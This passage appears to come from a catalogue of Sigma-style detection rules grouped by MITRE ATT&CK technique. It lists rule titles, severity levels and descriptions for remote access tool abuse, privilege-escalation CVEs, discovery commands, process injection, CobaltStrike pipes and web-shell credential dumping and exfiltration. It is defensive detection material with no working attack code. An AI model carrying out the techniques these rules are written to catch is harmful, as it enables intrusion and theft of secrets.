Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields. Renamed PAExec Execution - Level: high Description: Detects execution of renamed version of PAExec. Often used by attackers Renamed PingCastle Binary Execution - Level: high Description: Detects the execution of a renamed "PingCastle" binary based on the PE metadata fields. Rundll32 Execution Without CommandLine Parameters - Level: high Description: Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity Uncommon Child Process Of Setres.EXE - Level: high Description: Detects uncommon child process of Setres.EXE. Setres.EXE is a Windows server only process and tool that can be used to set the screen resolution. It can potentially be abused in order to launch any arbitrary file with a name containing the word "choice" from the current execution path. Suspicious Splwow64 Without Params - Level: high Description: Detects suspicious Splwow64.exe process without any command line parameters Suspicious Service Binary Directory - Level: high Description: Detects a service binary running in a suspicious directory Potential Binary Impersonating Sysinternals Tools - Level: medium Description: Detects binaries that use the same name as legitimate sysinternals tools to evade detection Potentially Suspicious Child Process Of VsCode - Level: medium Description: Detects uncommon or suspicious child processes spawning from a VsCode "code.exe" process. This could indicate an attempt of persistence via VsCode tasks or terminal profiles. WSL Child Process Anomaly - Level: medium Description: Detects uncommon or suspicious child processes spawning from a WSL process. This could indicate an attempt to evade parent/child relationship detections or persistence attempts via cron using WSL Windows Binary Executed From WSL - Level: medium Description: Detects the execution of Windows binaries from within a WSL instance. This could be used to masquerade parent-child relationships Custom File Open Handler Executes PowerShell - Level: high Description: Detects the abuse of custom file open handler, executing powershell Arbitrary Command Execution Using WSL - Level: medium Description: Detects potential abuse of Windows Subsystem for Linux (WSL) binary as a Living of the Land binary in order to execute arbitrary Linux or Windows commands.
attack.t1219	40	Show Rules (40) Antivirus Exploitation Framework Detection - Level: critical Description: Detects a highly relevant Antivirus alert that reports an exploitation framework. This event must not be ignored just because the AV has blocked the malware but investigate, how it came there in the first place. Potential Linux Amazon SSM Agent Hijacking - Level: medium Description: Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report. Atera Agent Installation - Level: high Description: Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators Potential Remote Desktop Connection to Non-Domain Host - Level: medium Description: Detects logons using NTLM to hosts that are potentially not part of the domain. Mesh Agent Service Installation - Level: medium Description: Detects a Mesh Agent service installation. Mesh Agent is used to remotely manage computers TacticalRMM Service Installation - Level: medium Description: Detects a TacticalRMM service installation. Tactical RMM is a remote monitoring & management tool. DNS Query To AzureWebsites.NET By Non-Browser Process - Level: medium Description: Detects a DNS query by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site. DNS Query To Remote Access Software Domain From Non-Browser App - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) TeamViewer Domain Query By Non-TeamViewer Application - Level: medium Description: Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation) Suspicious Binary Writes Via AnyDesk - Level: high Description: Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details) Anydesk Temporary Artefact - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) GoToAssist Temporary Installation Artefact - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) HackTool - Inveigh Execution Artefacts - Level: critical Description: Detects the presence and execution of Inveigh via dropped artefacts HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators - Level: high Description: Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module. Installation of TeamViewer Desktop - Level: medium Description: TeamViewer_Desktop.exe is create during install ScreenConnect Temporary Installation Artefact - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) TeamViewer Remote Session - Level: medium Description: Detects the creation of log files during a TeamViewer remote session Hijack Legit RDP Session to Move Laterally - Level: high Description: Detects the usage of tsclient share to place a backdoor on the RDP source machine's startup folder Remote Access Tool - AnyDesk Incoming Connection - Level: medium Description: Detects incoming connections to AnyDesk. This could indicate a potential remote attacker trying to connect to a listening instance of AnyDesk and use it as potential command and control channel. Mstsc.EXE Execution With Local RDP File - Level: low Description: Detects potential RDP connection via Mstsc using a local ".rdp" file Suspicious Mstsc.EXE Execution With Local RDP File - Level: high Description: Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations. QuickAssist Execution - Level: low Description: Detects the execution of Microsoft Quick Assist tool "QuickAssist.exe". This utility can be used by attackers to gain remote access. Remote Access Tool - AnyDesk Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - AnyDesk Piped Password Via CLI - Level: medium Description: Detects piping the password to an anydesk instance via CMD and the '--set-password' flag. Remote Access Tool - AnyDesk Silent Installation - Level: high Description: Detects AnyDesk Remote Desktop silent installation. Which can be used by attackers to gain remote access. Remote Access Tool - Anydesk Execution From Suspicious Folder - Level: high Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - MeshAgent Command Execution via MeshCentral - Level: medium Description: Detects the use of MeshAgent to execute commands on the target host, particularly when threat actors might abuse it to execute commands directly. MeshAgent can execute commands on the target host by leveraging win-console to obscure their activities and win-dispatcher to run malicious code through IPC with child processes. Remote Access Tool - NetSupport Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - GoToAssist Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - LogMeIn Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - ScreenConnect Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - ScreenConnect Potential Suspicious Remote Command Execution - Level: medium Description: Detects potentially suspicious child processes launched via the ScreenConnect client service. Remote Access Tool - Simple Help Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Remote Access Tool - UltraViewer Execution - Level: medium Description: An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land) Potential Amazon SSM Agent Hijacking - Level: medium Description: Detects potential Amazon SSM agent hijack attempts as outlined in the Mitiga research report. Suspicious TSCON Start as SYSTEM - Level: high Description: Detects a tscon.exe start as LOCAL SYSTEM Use of UltraVNC Remote Access Software - Level: medium Description: An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks Potential SocGholish Second Stage C2 DNS Query - Level: high Description: Detects a DNS query initiated from a "wscript" process for domains matching a specific pattern that was seen being used by SocGholish for its Command and Control traffic Potential CSharp Streamer RAT Loading .NET Executable Image - Level: high Description: Detects potential CSharp Streamer RAT loading .NET executable image by using the default file name and path associated with the tool. Remote Access Tool - Action1 Arbitrary Code Execution and Remote Sessions - Level: medium Description: Detects the execution of Action1 in order to execute arbitrary code or establish a remote session. Action1 is a powerful Remote Monitoring and Management tool that enables users to execute commands, scripts, and binaries. Through the web interface of action1, the administrator must create a new policy or an app to establish remote execution and then points that the agent is installed. Hunting Opportunity 1- Weed Out The Noise When threat actors execute a script, a command, or a binary through these new policies and apps, the names of these become visible in the command line during the execution process. Below is an example of the command line that contains the deployment of a binary through a policy with name "test_app_1": ParentCommandLine: "C:\WINDOWS\Action1\action1_agent.exe schedule:Deploy_App__test_app_1_1681327673425 runaction:0" After establishing a baseline, we can split the command to extract the policy name and group all the policy names and inspect the results with a list of frequency occurrences. Hunting Opportunity 2 - Remote Sessions On Out Of Office Hours If you have admins within your environment using remote sessions to administer endpoints, you can create a threat-hunting query and modify the time of the initiated sessions looking for abnormal activity.
attack.t1068	34	Show Rules (34) OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd - Level: high Description: Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. Usage Of Malicious POORTRY Signed Driver - Level: high Description: Detects the load of the signed poortry driver used by UNC3944 as reported by Mandiant and Sentinel One. Vulnerable Dell BIOS Update Driver Load - Level: high Description: Detects the load of the vulnerable Dell BIOS update driver as reported in CVE-2021-21551 Vulnerable Driver Load By Name - Level: low Description: Detects the load of known vulnerable drivers via their names only. Hurricane Panda Activity - Level: high Description: Detects Hurricane Panda Activity Possible Coin Miner CPU Priority Param - Level: critical Description: Detects command line parameter very often used with coin miners Buffer Overflow Attempts - Level: high Description: Detects buffer overflow attempts in Unix system log files Nimbuspwn Exploitation - Level: high Description: Detects exploitation of Nimbuspwn privilege escalation vulnerability (CVE-2022-29799 and CVE-2022-29800) Sudo Privilege Escalation CVE-2019-14287 - Builtin - Level: critical Description: Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287 OMIGOD SCX RunAsProvider ExecuteScript - Level: high Description: Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx* prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite. OMIGOD SCX RunAsProvider ExecuteShellCommand - Level: high Description: Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite. Sudo Privilege Escalation CVE-2019-14287 - Level: high Description: Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287 OMIGOD HTTP No Authentication RCE - Level: high Description: Detects the exploitation of OMIGOD (CVE-2021-38647) which allows remote execute (RCE) commands as root with just a single unauthenticated HTTP request. Verify, successful, exploitation by viewing the HTTP client (request) body to see what was passed to the server (using PCAP). Within the client body is where the code execution would occur. Additionally, check the endpoint logs to see if suspicious commands or activity occurred within the timeframe of this HTTP request. Audit CVE Event - Level: critical Description: Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log. Malicious Driver Load - Level: high Description: Detects loading of known malicious drivers via their hash. Malicious Driver Load By Name - Level: medium Description: Detects loading of known malicious drivers via the file name of the drivers. Vulnerable Driver Load By Name - Level: low Description: Detects the load of known vulnerable drivers via the file name of the drivers. Vulnerable Driver Load - Level: high Description: Detects loading of known vulnerable drivers via their hash. Process Explorer Driver Creation By Non-Sysinternals Binary - Level: high Description: Detects creation of the Process Explorer drivers by processes other than Process Explorer (procexp) itself. Hack tools or malware may use the Process Explorer driver to elevate privileges, drops it to disk for a few moments, runs a service using that driver and removes it afterwards. Process Monitor Driver Creation By Non-Sysinternals Binary - Level: medium Description: Detects creation of the Process Monitor driver by processes other than Process Monitor (procmon) itself. HackTool - SysmonEOP Execution - Level: critical Description: Detects the execution of the PoC that can be used to exploit Sysmon CVE-2022-41120 Suspicious Spool Service Child Process - Level: high Description: Detects suspicious print spool service (spoolsv.exe) child processes. Exploiting SetupComplete.cmd CVE-2019-1378 - Level: high Description: Detects exploitation attempt of privilege escalation vulnerability via SetupComplete.cmd and PartnerSetupComplete.cmd described in CVE-2019-1378 Exploiting CVE-2019-1388 - Level: critical Description: Detects an exploitation attempt in which the UAC consent dialogue is used to invoke an Internet Explorer process running as LOCAL_SYSTEM InstallerFileTakeOver LPE CVE-2021-41379 File Create Event - Level: critical Description: Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file Potential CVE-2021-41379 Exploitation Attempt - Level: critical Description: Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights Potential SystemNightmare Exploitation Attempt - Level: critical Description: Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM Suspicious Sysmon as Execution Parent - Level: high Description: Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120) Potential Zerologon (CVE-2020-1472) Exploitation - Level: high Description: Detects potential Netlogon Elevation of Privilege Vulnerability aka Zerologon (CVE-2020-1472) CVE-2021-3156 Exploitation Attempt - Level: high Description: Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing required to trigger the heap-based buffer overflow. CVE-2021-3156 Exploitation Attempt Bruteforcing - Level: high Description: Detects exploitation attempt of vulnerability described in CVE-2021-3156. Alternative approach might be to look for flooding of auditd logs due to bruteforcing. required to trigger the heap-based buffer overflow. Potential CVE-2021-4034 Exploitation Attempt - Level: high Description: Detects exploitation attempt of the vulnerability described in CVE-2021-4034. OMIGOD SCX RunAsProvider ExecuteScript - Level: high Description: Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell. Script being executed gets created as a temp file in /tmp folder with a scx prefix. Then it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/. The file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager. Microsoft Azure, and Microsoft Operations Management Suite. Windows Kernel and 3rd-Party Drivers Exploits Token Stealing - Level: high Description: Detection of child processes spawned with SYSTEM privileges by parents with non-SYSTEM privileges and Medium integrity level
attack.t1033	33	Show Rules (33) Run Whoami as SYSTEM - Level: high Description: Detects a whoami.exe executed by LOCAL SYSTEM. This may be a sign of a successful local privilege escalation. Possible DCSync Attack - Level: high Description: Detects remote RPC calls to MS-DRSR from non DC hosts, which could indicate DCSync / DCShadow attacks. SharpHound Recon Sessions - Level: high Description: Detects remote RPC calls useb by SharpHound to map remote connections and local group membership. System Owner or User Discovery - Linux - Level: low Description: Detects the execution of host or user discovery utilities such as "whoami", "hostname", "id", etc. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ESXi Network Configuration Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "network" flag in order to retrieve information about the network configuration. ESXi Storage Information Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "storage" flag in order to retrieve information about the storage status and other related information. Seen used by malware such as DarkSide and LockBit. ESXi System Information Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "system" flag in order to retrieve information about the different component of the system. Such as accounts, modules, NTP, etc. ESXi VM List Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "vm" flag in order to retrieve information about the installed VMs. ESXi VSAN Information Discovery Via ESXCLI - Level: medium Description: Detects execution of the "esxcli" command with the "vsan" flag in order to retrieve information about virtual storage. Seen used by malware such as DarkSide. Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files Get-ADUser Enumeration Using UserAccountControl Flags - Level: medium Description: Detects AS-REP roasting is an attack that is often-overlooked. It is not very common as you have to explicitly set accounts that do not require pre-authentication. Computer Discovery And Export Via Get-ADComputer Cmdlet - PowerShell - Level: medium Description: Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file Suspicious PowerShell Get Current User - Level: low Description: Detects the use of PowerShell to identify the current logged user. User Discovery And Export Via Get-ADUser Cmdlet - PowerShell - Level: medium Description: Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file HackTool - SharpLdapWhoami Execution - Level: high Description: Detects SharpLdapWhoami, a whoami alternative that queries the LDAP service on a domain controller HackTool - SharpView Execution - Level: high Description: Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems Computer Discovery And Export Via Get-ADComputer Cmdlet - Level: medium Description: Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file User Discovery And Export Via Get-ADUser Cmdlet - Level: medium Description: Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file Renamed Whoami Execution - Level: critical Description: Detects the execution of whoami that has been renamed to a different name to avoid detection Local Accounts Discovery - Level: low Description: Local accounts, System Owner/User discovery using operating systems utilities WhoAmI as Parameter - Level: high Description: Detects a suspicious process command line that uses whoami as first parameter (as e.g. used by EfsPotato) Chopper Webshell Process Pattern - Level: high Description: Detects patterns found in process executions cause by China Chopper like tiny (ASPX) webshells Webshell Hacking Activity Patterns - Level: high Description: Detects certain parent child patterns found in cases in which a web shell is used to perform certain credential dumping or exfiltration activities on a compromised system Webshell Detection With Command Line Keywords - Level: high Description: Detects certain command line parameters often used during reconnaissance activity via web shells Enumerate All Information With Whoami.EXE - Level: medium Description: Detects the execution of "whoami.exe" with the "/all" flag Whoami Utility Execution - Level: low Description: Detects the execution of whoami, which is often used by attackers after exploitation / privilege escalation Whoami.EXE Execution From Privileged Process - Level: high Description: Detects the execution of "whoami.exe" by privileged accounts that are often abused by threat actors Group Membership Reconnaissance Via Whoami.EXE - Level: medium Description: Detects the execution of whoami.exe with the /group command line flag to show group membership for the current user, account type, security identifiers (SID), and attributes. Whoami.EXE Execution With Output Option - Level: medium Description: Detects the execution of "whoami.exe" with the "/FO" flag to choose CSV as output format or with redirection options to export the results to a file for later use. Whoami.EXE Execution Anomaly - Level: medium Description: Detects the execution of whoami.exe with suspicious parent processes. Security Privileges Enumeration Via Whoami.EXE - Level: high Description: Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt. Potential Dridex Activity - Level: critical Description: Detects potential Dridex acitvity via specific process patterns Silence.Downloader V3 - Level: high Description: Detects Silence downloader. These commands are hardcoded into the binary.
attack.t1082	33	Show Rules (33) Bitbucket User Details Export Attempt Detected - Level: medium Description: Detects user data export activity. Bitbucket User Permissions Export Attempt - Level: medium Description: Detects user permission data export attempt. System Information Discovery - Auditd - Level: low Description: Detects System Information Discovery commands System and Hardware Information Discovery - Level: informational Description: Detects system information discovery commands OS Architecture Discovery Via Grep - Level: low Description: Detects the use of grep to identify information about the operating system architecture. Often combined beforehand with the execution of "uname" or "cat /proc/cpuinfo" Potential GobRAT File Discovery Via Grep - Level: high Description: Detects the use of grep to discover specific files created by the GobRAT malware Container Residence Discovery Via Proc Virtual FS - Level: low Description: Detects potential container discovery via listing of certain kernel features in the "/proc" virtual filesystem Docker Container Discovery Via Dockerenv Listing - Level: low Description: Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery Potential Container Discovery Via Inodes Listing - Level: low Description: Detects listing of the inodes of the "/" directory to determine if the we are running inside of a container. System Information Discovery - Level: informational Description: Detects system information discovery commands System Information Discovery Using Ioreg - Level: medium Description: Detects the use of "ioreg" which will show I/O Kit registry information. This process is used for system information discovery. It has been observed in-the-wild by calling this process directly or using bash and grep to look for specific strings. System Information Discovery Using sw_vers - Level: medium Description: Detects the use of "sw_vers" for system information discovery System Information Discovery Via Sysctl - MacOS - Level: medium Description: Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments. System Information Discovery Using System_Profiler - Level: medium Description: Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes. Cisco Discovery - Level: low Description: Find information about network devices that is not stored in config files HackTool - WinPwn Execution - ScriptBlock - Level: high Description: Detects scriptblock text keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Suspicious Kernel Dump Using Dtrace - Level: high Description: Detects suspicious way to dump the kernel on Windows systems using dtrace.exe, which is available on Windows systems since Windows 10 19H1 HackTool - PCHunter Execution - Level: high Description: Detects suspicious use of PCHunter, a tool like Process Hacker to view and manipulate processes, kernel options and other low level stuff HackTool - winPEAS Execution - Level: high Description: WinPEAS is a script that search for possible paths to escalate privileges on Windows hosts. The checks are explained on book.hacktricks.xyz HackTool - WinPwn Execution - Level: high Description: Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation. Suspicious Execution of Hostname - Level: low Description: Use of hostname to get information Network Reconnaissance Activity - Level: high Description: Detects a set of suspicious network related commands often used in recon stages PUA - System Informer Execution - Level: medium Description: Detects the execution of System Informer, a task manager tool to view and manipulate processes, kernel options and other low level operations Suspicious Query of MachineGUID - Level: low Description: Use of reg to get MachineGuid information Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy Suspicious Execution of Systeminfo - Level: low Description: Detects usage of the "systeminfo" command to retrieve information Uncommon System Information Discovery Via Wmic.EXE - Level: medium Description: Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, and disk drive names; memory capacity; display resolution; and baseboard, BIOS, and GPU driver products/versions. Some of these commands were used by Aurora Stealer in late 2022/early 2023. System Disk And Volume Reconnaissance Via Wmic.EXE - Level: medium Description: An adversary might use WMI to discover information about the system, such as the volume name, size, free space, and other disk information. This can be done using the `wmic` command-line utility and has been observed being used by threat actors such as Volt Typhoon. CMD Shell Output Redirect - Level: low Description: Detects the use of the redirection character ">" to redirect information on the command line. This technique is sometimes used by malicious actors in order to redirect the output of reconnaissance commands such as "hostname" and "dir" to files for future exfiltration. System Information Discovery Via Wmic.EXE - Level: low Description: Detects the use of the WMI command-line (WMIC) utility to identify and display various system information, including OS, CPU, GPU, disk drive names, memory capacity, display resolution, baseboard, BIOS, and GPU driver products/versions. Silence.Downloader V3 - Level: high Description: Detects Silence downloader. These commands are hardcoded into the binary. Reconnaissance Activity Using BuiltIn Commands - Level: medium Description: Detects execution of a set of builtin commands often used in recon stages by different attack groups Domain User Enumeration Network Recon 01 - Level: medium Description: Domain user and group enumeration via network reconnaissance. Seen in APT 29 and other common tactics and actors. Detects a set of RPC (remote procedure calls) used to enumerate a domain controller. The rule was created based off the datasets and hackathon from https://github.com/OTRF/detection-hackathon-apt29
attack.t1055	31	Show Rules (31) Rare Remote Thread Creation By Uncommon Source Image - Level: high Description: Detects uncommon processes creating remote threads. Remote Thread Created In Shell Application - Level: medium Description: Detects remote thread creation in command shell applications, such as "Cmd.EXE" and "PowerShell.EXE". It is a common technique used by malware, such as IcedID, to inject malicious code and execute it within legitimate processes. Remote Thread Creation By Uncommon Source Image - Level: medium Description: Detects uncommon processes creating remote threads. Created Files by Microsoft Sync Center - Level: medium Description: This rule detects suspicious files created by Microsoft Sync Center (mobsync) Potential DLL Sideloading Using Coregen.exe - Level: medium Description: Detect usage of the "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs. DotNet CLR DLL Loaded By Scripting Applications - Level: high Description: Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution. Network Connection Initiated Via Notepad.EXE - Level: high Description: Detects a network connection that is initiated by the "notepad.exe" process. This might be a sign of process injection from a beacon process or something similar. Notepad rarely initiates a network communication except when printing documents for example. Microsoft Sync Center Suspicious Network Connections - Level: medium Description: Detects suspicious connections from Microsoft Sync Center to non-private IPs. CobaltStrike Named Pipe - Level: critical Description: Detects the creation of a named pipe as used by CobaltStrike CobaltStrike Named Pipe Pattern Regex - Level: critical Description: Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles CobaltStrike Named Pipe Patterns - Level: high Description: Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles HackTool - CoercedPotato Named Pipe Creation - Level: high Description: Detects the pattern of a pipe name as used by the hack tool CoercedPotato HackTool - EfsPotato Named Pipe Creation - Level: high Description: Detects the pattern of a pipe name as used by the hack tool EfsPotato Malicious Named Pipe Created - Level: critical Description: Detects the creation of a named pipe seen used by known APTs or malware. PowerShell ShellCode - Level: high Description: Detects Base64 encoded Shellcode Dllhost.EXE Execution Anomaly - Level: high Description: Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes. HackTool - CoercedPotato Execution - Level: high Description: Detects the use of CoercedPotato, a tool for privilege escalation HackTool - DInjector PowerShell Cradle Execution - Level: critical Description: Detects the use of the Dinject PowerShell cradle based on the specific flags Potential Process Injection Via Msra.EXE - Level: high Description: Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics Suspicious Rundll32 Invoking Inline VBScript - Level: high Description: Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452 Process Creation Using Sysnative Folder - Level: medium Description: Detects process creation events that use the Sysnative folder (common for CobaltStrike spawns) Suspicious Userinit Child Process - Level: medium Description: Detects a suspicious child process of userinit Suspect Svchost Activity - Level: high Description: It is extremely abnormal for svchost.exe to spawn without any CLI arguments and is normally observed when a malicious process spawns the process and injects code into the process memory space. Suspicious Child Process Of Wermgr.EXE - Level: high Description: Detects suspicious Windows Error Reporting manager (wermgr.exe) child process Malware Shellcode in Verclsid Target Process - Level: high Description: Detects a process access to verclsid.exe that injects shellcode from a Microsoft Office application / VBA macro Potential Dridex Activity - Level: critical Description: Detects potential Dridex acitvity via specific process patterns Antivirus PrinterNightmare CVE-2021-34527 Exploit Detection - Level: critical Description: Detects the suspicious file that is created from PoC code against Windows Print Spooler Remote Code Execution Vulnerability CVE-2021-34527 (PrinterNightmare), CVE-2021-1675 . APT PRIVATELOG Image Load Pattern - Level: high Description: Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances Injected Browser Process Spawning Rundll32 - GuLoader Activity - Level: high Description: Detects the execution of installed GuLoader malware on the host. GuLoader is initiating network connections via the rundll32.exe process that is spawned via a browser parent(injected) process. Lummac Stealer Activity - Execution Of More.com And Vbc.exe - Level: high Description: Detects the execution of more.com and vbc.exe in the process tree. This behavior was observed by a set of samples related to Lummac Stealer. The Lummac payload is injected into the vbc.exe process. Potential Shellcode Injection - Level: medium Description: Detects potential shellcode injection as seen used by tools such as Metasploit's migrate and Empire's psinject.
